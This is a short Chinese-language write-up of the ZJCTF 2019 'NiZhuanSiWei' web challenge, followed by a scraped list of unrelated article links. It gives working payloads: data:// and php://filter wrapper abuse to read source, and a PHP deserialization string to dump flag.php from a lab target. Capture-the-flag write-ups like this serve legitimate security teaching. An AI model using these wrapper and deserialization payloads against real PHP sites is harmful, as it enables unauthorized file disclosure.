啟動靶機,檢視原始碼
查詢file_get_contents()函式 這裡傳入的text必須是個檔案且檔案內容為welcome to the zjctf
這裡我們使用data偽協議將內容寫入
?text=data://text/plain,welcome to the zjctf
往下看有個正規表示式過濾flag,繼續往下
很明顯是php的反序列化利用,卻沒有看到利用類的構造程式碼,正則過濾了flag.php,我們只能嘗試訪問useless.php
利用?text=data://text/plain,welcome to the zjctf &file=useless.php
沒反應
嘗試filter偽協議讀取
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
解碼後得到useless.php
到這裡邏輯就清晰了,因為反序列化在正規表示式後,我們只需在反序列化時將file值賦為flag.php,再利用__tostring函式在echo時自動呼叫的特性將flag.php列印出來
構造如下,只需對file變數賦值 得到 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最終payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
檢視原始碼發現flag flag{17e56d67-d376-4aeb-8de3-a411874f6256}
[ZJCTF 2019]NiZhuanSiWei
相關文章
- NSSCTF WEB nizhuansiweiWeb
- [BJDCTF2020]ZJCTF,不過如此(php偽協議,data偽協議,preg_replace /e漏洞)TF2PHP協議
- 2019
- Microsoft Excel 2019 for Mac(office excel 2019)ROSExcelMac
- 2019 有 MacBook Pro (16-inch, 2019) 嗎?Mac
- PS 2019 | Photoshop CC 2019 的安裝啟用
- 2019總結
- Office 2019 for MacMac
- Microsoft Office 2019ROS
- Outlook 2019 for macMac
- 2019 Gopher Meetup 杭州Go
- 2019 Gopher meetup 深圳Go
- 2019 Gopher Meetup 北京Go
- 2019 Gopher Meetup 武漢Go
- 2019 Gopher Meetup 上海Go
- 2019年終總結
- 年終總結-2019
- 2019 OCP簡介
- 2019.3.25筆記筆記
- 2019年中總結~
- Office 2019 mac版Mac
- BUUCTF:[SUCTF 2019]EasySQLSQL
- gwctf2019 babyvmTF2
- K8S 生態週報| 2019.03.25~2019.03.31K8S
- revit2019序列號和金鑰 revit2019安裝教程
- maya2019序列號和金鑰 maya2019安裝教程
- WebLogic 高危漏洞預警(CVE-2019-2891、CVE-2019-2890)Web
- K8S 生態週報| 2019.04.01~2019.04.07K8S
- K8S 生態週報| 2019.04.08~2019.04.14K8S
- 如何讓Visual Studio 2019更好用(VS2019配置指南)
- Office 2019安裝 Office 2019 for Mac中文版|附啟用工具Mac
- 2019 Joyy Flutter 總結Flutter
- Go開發者調查2019Go
- Google 2019開發者大會Go
- Hack The Box Web Pentest 2019Web
- 2019Unite大會
- 2019ios筆記iOS筆記
- 2019 AI開發者大會AI